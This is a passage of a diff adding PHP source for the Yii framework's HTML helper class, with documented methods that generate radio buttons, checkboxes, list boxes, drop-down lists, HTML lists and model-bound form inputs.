''; + } + if (isset($options['label'])) { + $label = $options['label']; + $labelOptions = isset($options['labelOptions']) ? $options['labelOptions'] : []; + unset($options['label'], $options['labelOptions']); + $content = static::label(static::input('radio', $name, $value, $options) . ' ' . $label, null, $labelOptions); + return $hidden . $content; + } else { + return $hidden . static::input('radio', $name, $value, $options); + } + } + + /** + * Generates a checkbox input. + * @param string $name the name attribute. + * @param boolean $checked whether the checkbox should be checked. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - uncheck: string, the value associated with the uncheck state of the checkbox. When this attribute + * is present, a hidden input will be generated so that if the checkbox is not checked and is submitted, + * the value of this attribute will still be submitted to the server via the hidden input. + * - label: string, a label displayed next to the checkbox. It will NOT be HTML-encoded. Therefore you can pass + * in HTML code such as an image tag. If this is is coming from end users, you should [[encode()]] it to prevent XSS attacks. + * When this option is specified, the checkbox will be enclosed by a label tag. + * - labelOptions: array, the HTML attributes for the label tag. Do not set this option unless you set the "label" option. + * + * The rest of the options will be rendered as the attributes of the resulting checkbox tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated checkbox tag + */ + public static function checkbox($name, $checked = false, $options = []) + { + $options['checked'] = (boolean) $checked; + $value = array_key_exists('value', $options) ? $options['value'] : '1'; + if (isset($options['uncheck'])) { + // add a hidden field so that if the checkbox is not selected, it still submits a value + $hidden = static::hiddenInput($name, $options['uncheck']); + unset($options['uncheck']); + } else { + $hidden = ''; + } + if (isset($options['label'])) { + $label = $options['label']; + $labelOptions = isset($options['labelOptions']) ? $options['labelOptions'] : []; + unset($options['label'], $options['labelOptions']); + $content = static::label(static::input('checkbox', $name, $value, $options) . ' ' . $label, null, $labelOptions); + return $hidden . $content; + } else { + return $hidden . static::input('checkbox', $name, $value, $options); + } + } + + /** + * Generates a drop-down list. + * @param string $name the input name + * @param string $selection the selected value + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[\yii\helpers\ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - prompt: string, a prompt text to be displayed as the first option; + * - options: array, the attributes for the select option tags. The array keys must be valid option values, + * and the array values are the extra attributes for the corresponding option tags. For example, + * + * ~~~ + * [ + * 'value1' => ['disabled' => true], + * 'value2' => ['label' => 'value 2'], + * ]; + * ~~~ + * + * - groups: array, the attributes for the optgroup tags. The structure of this is similar to that of 'options', + * except that the array keys represent the optgroup labels specified in $items. + * - encodeSpaces: bool, whether to encode spaces in option prompt and option value with ` ` character. + * Defaults to `false`. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated drop-down list tag + */ + public static function dropDownList($name, $selection = null, $items = [], $options = []) + { + if (!empty($options['multiple'])) { + return static::listBox($name, $selection, $items, $options); + } + $options['name'] = $name; + unset($options['unselect']); + $selectOptions = static::renderSelectOptions($selection, $items, $options); + return static::tag('select', "\n" . $selectOptions . "\n", $options); + } + + /** + * Generates a list box. + * @param string $name the input name + * @param string|array $selection the selected value(s) + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[\yii\helpers\ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - prompt: string, a prompt text to be displayed as the first option; + * - options: array, the attributes for the select option tags. The array keys must be valid option values, + * and the array values are the extra attributes for the corresponding option tags. For example, + * + * ~~~ + * [ + * 'value1' => ['disabled' => true], + * 'value2' => ['label' => 'value 2'], + * ]; + * ~~~ + * + * - groups: array, the attributes for the optgroup tags. The structure of this is similar to that of 'options', + * except that the array keys represent the optgroup labels specified in $items. + * - unselect: string, the value that will be submitted when no option is selected. + * When this attribute is set, a hidden field will be generated so that if no option is selected in multiple + * mode, we can still obtain the posted unselect value. + * - encodeSpaces: bool, whether to encode spaces in option prompt and option value with ` ` character. + * Defaults to `false`. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated list box tag + */ + public static function listBox($name, $selection = null, $items = [], $options = []) + { + if (!array_key_exists('size', $options)) { + $options['size'] = 4; + } + if (!empty($options['multiple']) && !empty($name) && substr_compare($name, '[]', -2, 2)) { + $name .= '[]'; + } + $options['name'] = $name; + if (isset($options['unselect'])) { + // add a hidden field so that if the list box has no option being selected, it still submits a value + if (!empty($name) && substr_compare($name, '[]', -2, 2) === 0) { + $name = substr($name, 0, -2); + } + $hidden = static::hiddenInput($name, $options['unselect']); + unset($options['unselect']); + } else { + $hidden = ''; + } + $selectOptions = static::renderSelectOptions($selection, $items, $options); + return $hidden . static::tag('select', "\n" . $selectOptions . "\n", $options); + } + + /** + * Generates a list of checkboxes. + * A checkbox list allows multiple selection, like [[listBox()]]. + * As a result, the corresponding submitted value is an array. + * @param string $name the name attribute of each checkbox. + * @param string|array $selection the selected value(s). + * @param array $items the data item used to generate the checkboxes. + * The array keys are the checkbox values, while the array values are the corresponding labels. + * @param array $options options (name => config) for the checkbox list container tag. + * The following options are specially handled: + * + * - tag: string, the tag name of the container element. + * - unselect: string, the value that should be submitted when none of the checkboxes is selected. + * By setting this option, a hidden input will be generated. + * - encode: boolean, whether to HTML-encode the checkbox labels. Defaults to true. + * This option is ignored if `item` option is set. + * - separator: string, the HTML code that separates items. + * - itemOptions: array, the options for generating the radio button tag using [[checkbox()]]. + * - item: callable, a callback that can be used to customize the generation of the HTML code + * corresponding to a single item in $items. The signature of this callback must be: + * + * ~~~ + * function ($index, $label, $name, $checked, $value) + * ~~~ + * + * where $index is the zero-based index of the checkbox in the whole list; $label + * is the label for the checkbox; and $name, $value and $checked represent the name, + * value and the checked status of the checkbox input, respectively. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated checkbox list + */ + public static function checkboxList($name, $selection = null, $items = [], $options = []) + { + if (substr($name, -2) !== '[]') { + $name .= '[]'; + } + + $formatter = isset($options['item']) ? $options['item'] : null; + $itemOptions = isset($options['itemOptions']) ? $options['itemOptions'] : []; + $encode = !isset($options['encode']) || $options['encode']; + $lines = []; + $index = 0; + foreach ($items as $value => $label) { + $checked = $selection !== null && + (!is_array($selection) && !strcmp($value, $selection) + || is_array($selection) && in_array($value, $selection)); + if ($formatter !== null) { + $lines[] = call_user_func($formatter, $index, $label, $name, $checked, $value); + } else { + $lines[] = static::checkbox($name, $checked, array_merge($itemOptions, [ + 'value' => $value, + 'label' => $encode ? static::encode($label) : $label, + ])); + } + $index++; + } + + if (isset($options['unselect'])) { + // add a hidden field so that if the list box has no option being selected, it still submits a value + $name2 = substr($name, -2) === '[]' ? substr($name, 0, -2) : $name; + $hidden = static::hiddenInput($name2, $options['unselect']); + } else { + $hidden = ''; + } + $separator = isset($options['separator']) ? $options['separator'] : "\n"; + + $tag = isset($options['tag']) ? $options['tag'] : 'div'; + unset($options['tag'], $options['unselect'], $options['encode'], $options['separator'], $options['item'], $options['itemOptions']); + + return $hidden . static::tag($tag, implode($separator, $lines), $options); + } + + /** + * Generates a list of radio buttons. + * A radio button list is like a checkbox list, except that it only allows single selection. + * @param string $name the name attribute of each radio button. + * @param string|array $selection the selected value(s). + * @param array $items the data item used to generate the radio buttons. + * The array keys are the radio button values, while the array values are the corresponding labels. + * @param array $options options (name => config) for the radio button list. The following options are supported: + * + * - unselect: string, the value that should be submitted when none of the radio buttons is selected. + * By setting this option, a hidden input will be generated. + * - encode: boolean, whether to HTML-encode the checkbox labels. Defaults to true. + * This option is ignored if `item` option is set. + * - separator: string, the HTML code that separates items. + * - itemOptions: array, the options for generating the radio button tag using [[radio()]]. + * - item: callable, a callback that can be used to customize the generation of the HTML code + * corresponding to a single item in $items. The signature of this callback must be: + * + * ~~~ + * function ($index, $label, $name, $checked, $value) + * ~~~ + * + * where $index is the zero-based index of the radio button in the whole list; $label + * is the label for the radio button; and $name, $value and $checked represent the name, + * value and the checked status of the radio button input, respectively. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated radio button list + */ + public static function radioList($name, $selection = null, $items = [], $options = []) + { + $encode = !isset($options['encode']) || $options['encode']; + $formatter = isset($options['item']) ? $options['item'] : null; + $itemOptions = isset($options['itemOptions']) ? $options['itemOptions'] : []; + $lines = []; + $index = 0; + foreach ($items as $value => $label) { + $checked = $selection !== null && + (!is_array($selection) && !strcmp($value, $selection) + || is_array($selection) && in_array($value, $selection)); + if ($formatter !== null) { + $lines[] = call_user_func($formatter, $index, $label, $name, $checked, $value); + } else { + $lines[] = static::radio($name, $checked, array_merge($itemOptions, [ + 'value' => $value, + 'label' => $encode ? static::encode($label) : $label, + ])); + } + $index++; + } + + $separator = isset($options['separator']) ? $options['separator'] : "\n"; + if (isset($options['unselect'])) { + // add a hidden field so that if the list box has no option being selected, it still submits a value + $hidden = static::hiddenInput($name, $options['unselect']); + } else { + $hidden = ''; + } + + $tag = isset($options['tag']) ? $options['tag'] : 'div'; + unset($options['tag'], $options['unselect'], $options['encode'], $options['separator'], $options['item'], $options['itemOptions']); + + return $hidden . static::tag($tag, implode($separator, $lines), $options); + } + + /** + * Generates an unordered list. + * @param array|\Traversable $items the items for generating the list. Each item generates a single list item. + * Note that items will be automatically HTML encoded if `$options['encode']` is not set or true. + * @param array $options options (name => config) for the radio button list. The following options are supported: + * + * - encode: boolean, whether to HTML-encode the items. Defaults to true. + * This option is ignored if the `item` option is specified. + * - itemOptions: array, the HTML attributes for the `li` tags. This option is ignored if the `item` option is specified. + * - item: callable, a callback that is used to generate each individual list item. + * The signature of this callback must be: + * + * ~~~ + * function ($item, $index) + * ~~~ + * + * where $index is the array key corresponding to `$item` in `$items`. The callback should return + * the whole list item tag. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated unordered list. An empty list tag will be returned if `$items` is empty. + */ + public static function ul($items, $options = []) + { + $tag = isset($options['tag']) ? $options['tag'] : 'ul'; + $encode = !isset($options['encode']) || $options['encode']; + $formatter = isset($options['item']) ? $options['item'] : null; + $itemOptions = isset($options['itemOptions']) ? $options['itemOptions'] : []; + unset($options['tag'], $options['encode'], $options['item'], $options['itemOptions']); + + if (empty($items)) { + return static::tag($tag, '', $options); + } + + $results = []; + foreach ($items as $index => $item) { + if ($formatter !== null) { + $results[] = call_user_func($formatter, $item, $index); + } else { + $results[] = static::tag('li', $encode ? static::encode($item) : $item, $itemOptions); + } + } + return static::tag($tag, "\n" . implode("\n", $results) . "\n", $options); + } + + /** + * Generates an ordered list. + * @param array|\Traversable $items the items for generating the list. Each item generates a single list item. + * Note that items will be automatically HTML encoded if `$options['encode']` is not set or true. + * @param array $options options (name => config) for the radio button list. The following options are supported: + * + * - encode: boolean, whether to HTML-encode the items. Defaults to true. + * This option is ignored if the `item` option is specified. + * - itemOptions: array, the HTML attributes for the `li` tags. This option is ignored if the `item` option is specified. + * - item: callable, a callback that is used to generate each individual list item. + * The signature of this callback must be: + * + * ~~~ + * function ($item, $index) + * ~~~ + * + * where $index is the array key corresponding to `$item` in `$items`. The callback should return + * the whole list item tag. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated ordered list. An empty string is returned if `$items` is empty. + */ + public static function ol($items, $options = []) + { + $options['tag'] = 'ol'; + return static::ul($items, $options); + } + + /** + * Generates a label tag for the given model attribute. + * The label text is the label associated with the attribute, obtained via [[Model::getAttributeLabel()]]. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * The following options are specially handled: + * + * - label: this specifies the label to be displayed. Note that this will NOT be [[encode()|encoded]]. + * If this is not set, [[Model::getAttributeLabel()]] will be called to get the label for display + * (after encoding). + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated label tag + */ + public static function activeLabel($model, $attribute, $options = []) + { + $for = array_key_exists('for', $options) ? $options['for'] : static::getInputId($model, $attribute); + $attribute = static::getAttributeName($attribute); + $label = isset($options['label']) ? $options['label'] : static::encode($model->getAttributeLabel($attribute)); + unset($options['label'], $options['for']); + return static::label($label, $for, $options); + } + + /** + * Generates a summary of the validation errors. + * If there is no validation error, an empty error summary markup will still be generated, but it will be hidden. + * @param Model|Model[] $models the model(s) whose validation errors are to be displayed + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - header: string, the header HTML for the error summary. If not set, a default prompt string will be used. + * - footer: string, the footer HTML for the error summary. + * - encode: boolean, if set to false then value won't be encoded. + * + * The rest of the options will be rendered as the attributes of the container tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * @return string the generated error summary + */ + public static function errorSummary($models, $options = []) + { + $header = isset($options['header']) ? $options['header'] : '

            ' . Yii::t('yii', 'Please fix the following errors:') . '

            '; + $footer = isset($options['footer']) ? $options['footer'] : ''; + $encode = !isset($options['encode']) || $options['encode'] !== false; + unset($options['header'], $options['footer'], $options['encode']); + + $lines = []; + if (!is_array($models)) { + $models = [$models]; + } + foreach ($models as $model) { + /* @var $model Model */ + foreach ($model->getFirstErrors() as $error) { + $lines[] = $encode ? Html::encode($error) : $error; + } + } + + if (empty($lines)) { + // still render the placeholder for client-side validation use + $content = "
              "; + $options['style'] = isset($options['style']) ? rtrim($options['style'], ';') . '; display:none' : 'display:none'; + } else { + $content = "
              • " . implode("
              • \n
              • ", $lines) . "
              "; + } + return Html::tag('div', $header . $content . $footer, $options); + } + + /** + * Generates a tag that contains the first validation error of the specified model attribute. + * Note that even if there is no validation error, this method will still return an empty error tag. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. The values will be HTML-encoded + * using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * + * The following options are specially handled: + * + * - tag: this specifies the tag name. If not set, "div" will be used. + * - encode: boolean, if set to false then value won't be encoded. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated label tag + */ + public static function error($model, $attribute, $options = []) + { + $attribute = static::getAttributeName($attribute); + $error = $model->getFirstError($attribute); + $tag = isset($options['tag']) ? $options['tag'] : 'div'; + $encode = !isset($options['encode']) || $options['encode'] !== false; + unset($options['tag'], $options['encode']); + return Html::tag($tag, $encode ? Html::encode($error) : $error, $options); + } + + /** + * Generates an input tag for the given model attribute. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param string $type the input type (e.g. 'text', 'password') + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated input tag + */ + public static function activeInput($type, $model, $attribute, $options = []) + { + $name = isset($options['name']) ? $options['name'] : static::getInputName($model, $attribute); + $value = isset($options['value']) ? $options['value'] : static::getAttributeValue($model, $attribute); + if (!array_key_exists('id', $options)) { + $options['id'] = static::getInputId($model, $attribute); + } + return static::input($type, $name, $value, $options); + } + + /** + * Generates a text input tag for the given model attribute. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated input tag + */ + public static function activeTextInput($model, $attribute, $options = []) + { + return static::activeInput('text', $model, $attribute, $options); + } + + /** + * Generates a hidden input tag for the given model attribute. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated input tag + */ + public static function activeHiddenInput($model, $attribute, $options = []) + { + return static::activeInput('hidden', $model, $attribute, $options); + } + + /** + * Generates a password input tag for the given model attribute. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated input tag + */ + public static function activePasswordInput($model, $attribute, $options = []) + { + return static::activeInput('password', $model, $attribute, $options); + } + + /** + * Generates a file input tag for the given model attribute. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated input tag + */ + public static function activeFileInput($model, $attribute, $options = []) + { + // add a hidden field so that if a model only has a file field, we can + // still use isset($_POST[$modelClass]) to detect if the input is submitted + return static::activeHiddenInput($model, $attribute, ['id' => null, 'value' => '']) + . static::activeInput('file', $model, $attribute, $options); + } + + /** + * Generates a textarea tag for the given model attribute. + * The model attribute value will be used as the content in the textarea. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated textarea tag + */ + public static function activeTextarea($model, $attribute, $options = []) + { + $name = isset($options['name']) ? $options['name'] : static::getInputName($model, $attribute); + $value = static::getAttributeValue($model, $attribute); + if (!array_key_exists('id', $options)) { + $options['id'] = static::getInputId($model, $attribute); + } + return static::textarea($name, $value, $options); + } + + /** + * Generates a radio button tag together with a label for the given model attribute. + * This method will generate the "checked" tag attribute according to the model attribute value. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - uncheck: string, the value associated with the uncheck state of the radio button. If not set, + * it will take the default value '0'. This method will render a hidden input so that if the radio button + * is not checked and is submitted, the value of this attribute will still be submitted to the server + * via the hidden input. + * - label: string, a label displayed next to the radio button. It will NOT be HTML-encoded. Therefore you can pass + * in HTML code such as an image tag. If this is is coming from end users, you should [[encode()]] it to prevent XSS attacks. + * The radio button will be enclosed by the label tag. Note that if you do not specify this option, a default label + * will be used based on the attribute label declaration in the model. If you do not want any label, you should + * explicitly set this option as null. + * - labelOptions: array, the HTML attributes for the label tag. This is only used when the "label" option is specified. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated radio button tag + */ + public static function activeRadio($model, $attribute, $options = []) + { + $name = isset($options['name']) ? $options['name'] : static::getInputName($model, $attribute); + $value = static::getAttributeValue($model, $attribute); + + if (!array_key_exists('value', $options)) { + $options['value'] = '1'; + } + if (!array_key_exists('uncheck', $options)) { + $options['uncheck'] = '0'; + } + if (!array_key_exists('label', $options)) { + $options['label'] = static::encode($model->getAttributeLabel(static::getAttributeName($attribute))); + } + + $checked = "$value" === "{$options['value']}"; + + if (!array_key_exists('id', $options)) { + $options['id'] = static::getInputId($model, $attribute); + } + + return static::radio($name, $checked, $options); + } + + /** + * Generates a checkbox tag together with a label for the given model attribute. + * This method will generate the "checked" tag attribute according to the model attribute value. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - uncheck: string, the value associated with the uncheck state of the radio button. If not set, + * it will take the default value '0'. This method will render a hidden input so that if the radio button + * is not checked and is submitted, the value of this attribute will still be submitted to the server + * via the hidden input. + * - label: string, a label displayed next to the checkbox. It will NOT be HTML-encoded. Therefore you can pass + * in HTML code such as an image tag. If this is is coming from end users, you should [[encode()]] it to prevent XSS attacks. + * The checkbox will be enclosed by the label tag. Note that if you do not specify this option, a default label + * will be used based on the attribute label declaration in the model. If you do not want any label, you should + * explicitly set this option as null. + * - labelOptions: array, the HTML attributes for the label tag. This is only used when the "label" option is specified. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated checkbox tag + */ + public static function activeCheckbox($model, $attribute, $options = []) + { + $name = isset($options['name']) ? $options['name'] : static::getInputName($model, $attribute); + $value = static::getAttributeValue($model, $attribute); + + if (!array_key_exists('value', $options)) { + $options['value'] = '1'; + } + if (!array_key_exists('uncheck', $options)) { + $options['uncheck'] = '0'; + } + if (!array_key_exists('label', $options)) { + $options['label'] = static::encode($model->getAttributeLabel(static::getAttributeName($attribute))); + } + + $checked = "$value" === "{$options['value']}"; + + if (!array_key_exists('id', $options)) { + $options['id'] = static::getInputId($model, $attribute); + } + + return static::checkbox($name, $checked, $options); + } + + /** + * Generates a drop-down list for the given model attribute. + * The selection of the drop-down list is taken from the value of the model attribute. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[\yii\helpers\ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - prompt: string, a prompt text to be displayed as the first option; + * - options: array, the attributes for the select option tags. The array keys must be valid option values, + * and the array values are the extra attributes for the corresponding option tags. For example, + * + * ~~~ + * [ + * 'value1' => ['disabled' => true], + * 'value2' => ['label' => 'value 2'], + * ]; + * ~~~ + * + * - groups: array, the attributes for the optgroup tags. The structure of this is similar to that of 'options', + * except that the array keys represent the optgroup labels specified in $items. + * - encodeSpaces: bool, whether to encode spaces in option prompt and option value with ` ` character. + * Defaults to `false`. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated drop-down list tag + */ + public static function activeDropDownList($model, $attribute, $items, $options = []) + { + if (empty($options['multiple'])) { + return static::activeListInput('dropDownList', $model, $attribute, $items, $options); + } else { + return static::activeListBox($model, $attribute, $items, $options); + } + } + + /** + * Generates a list box. + * The selection of the list box is taken from the value of the model attribute. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[\yii\helpers\ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - prompt: string, a prompt text to be displayed as the first option; + * - options: array, the attributes for the select option tags. The array keys must be valid option values, + * and the array values are the extra attributes for the corresponding option tags. For example, + * + * ~~~ + * [ + * 'value1' => ['disabled' => true], + * 'value2' => ['label' => 'value 2'], + * ]; + * ~~~ + * + * - groups: array, the attributes for the optgroup tags. The structure of this is similar to that of 'options', + * except that the array keys represent the optgroup labels specified in $items. + * - unselect: string, the value that will be submitted when no option is selected. + * When this attribute is set, a hidden field will be generated so that if no option is selected in multiple + * mode, we can still obtain the posted unselect value. + * - encodeSpaces: bool, whether to encode spaces in option prompt and option value with ` ` character. + * Defaults to `false`. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated list box tag + */ + public static function activeListBox($model, $attribute, $items, $options = []) + { + return static::activeListInput('listBox', $model, $attribute, $items, $options); + } + + /** + * Generates a list of checkboxes. + * A checkbox list allows multiple selection, like [[listBox()]]. + * As a result, the corresponding submitted value is an array. + * The selection of the checkbox list is taken from the value of the model attribute. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $items the data item used to generate the checkboxes. + * The array keys are the checkbox values, and the array values are the corresponding labels. + * Note that the labels will NOT be HTML-encoded, while the values will. + * @param array $options options (name => config) for the checkbox list. The following options are specially handled: + * + * - unselect: string, the value that should be submitted when none of the checkboxes is selected. + * You may set this option to be null to prevent default value submission. + * If this option is not set, an empty string will be submitted. + * - separator: string, the HTML code that separates items. + * - item: callable, a callback that can be used to customize the generation of the HTML code + * corresponding to a single item in $items. The signature of this callback must be: + * + * ~~~ + * function ($index, $label, $name, $checked, $value) + * ~~~ + * + * where $index is the zero-based index of the checkbox in the whole list; $label + * is the label for the checkbox; and $name, $value and $checked represent the name, + * value and the checked status of the checkbox input. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated checkbox list + */ + public static function activeCheckboxList($model, $attribute, $items, $options = []) + { + return static::activeListInput('checkboxList', $model, $attribute, $items, $options); + } + + /** + * Generates a list of radio buttons. + * A radio button list is like a checkbox list, except that it only allows single selection. + * The selection of the radio buttons is taken from the value of the model attribute. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $items the data item used to generate the radio buttons. + * The array keys are the radio values, and the array values are the corresponding labels. + * Note that the labels will NOT be HTML-encoded, while the values will. + * @param array $options options (name => config) for the radio button list. The following options are specially handled: + * + * - unselect: string, the value that should be submitted when none of the radio buttons is selected. + * You may set this option to be null to prevent default value submission. + * If this option is not set, an empty string will be submitted. + * - separator: string, the HTML code that separates items. + * - item: callable, a callback that can be used to customize the generation of the HTML code + * corresponding to a single item in $items. The signature of this callback must be: + * + * ~~~ + * function ($index, $label, $name, $checked, $value) + * ~~~ + * + * where $index is the zero-based index of the radio button in the whole list; $label + * is the label for the radio button; and $name, $value and $checked represent the name, + * value and the checked status of the radio button input. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated radio button list + */ + public static function activeRadioList($model, $attribute, $items, $options = []) + { + return static::activeListInput('radioList', $model, $attribute, $items, $options); + } + + /** + * Generates a list of input fields. + * This method is mainly called by [[activeListBox()]], [[activeRadioList()]] and [[activeCheckBoxList()]]. + * @param string $type the input type. This can be 'listBox', 'radioList', or 'checkBoxList'. + * @param Model $model the model object + * @param string $attribute the attribute name or expression. See [[getAttributeName()]] for the format + * about attribute expression. + * @param array $items the data item used to generate the input fields. + * The array keys are the input values, and the array values are the corresponding labels. + * Note that the labels will NOT be HTML-encoded, while the values will. + * @param array $options options (name => config) for the input list. The supported special options + * depend on the input type specified by `$type`. + * @return string the generated input list + */ + protected static function activeListInput($type, $model, $attribute, $items, $options = []) + { + $name = isset($options['name']) ? $options['name'] : static::getInputName($model, $attribute); + $selection = static::getAttributeValue($model, $attribute); + if (!array_key_exists('unselect', $options)) { + $options['unselect'] = ''; + } + if (!array_key_exists('id', $options)) { + $options['id'] = static::getInputId($model, $attribute); + } + return static::$type($name, $selection, $items, $options); + } + + /** + * Renders the option tags that can be used by [[dropDownList()]] and [[listBox()]]. + * @param string|array $selection the selected value(s). This can be either a string for single selection + * or an array for multiple selections. + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[\yii\helpers\ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $tagOptions the $options parameter that is passed to the [[dropDownList()]] or [[listBox()]] call. + * This method will take out these elements, if any: "prompt", "options" and "groups". See more details + * in [[dropDownList()]] for the explanation of these elements. + * + * @return string the generated list options + */ + public static function renderSelectOptions($selection, $items, &$tagOptions = []) + { + $lines = []; + $encodeSpaces = 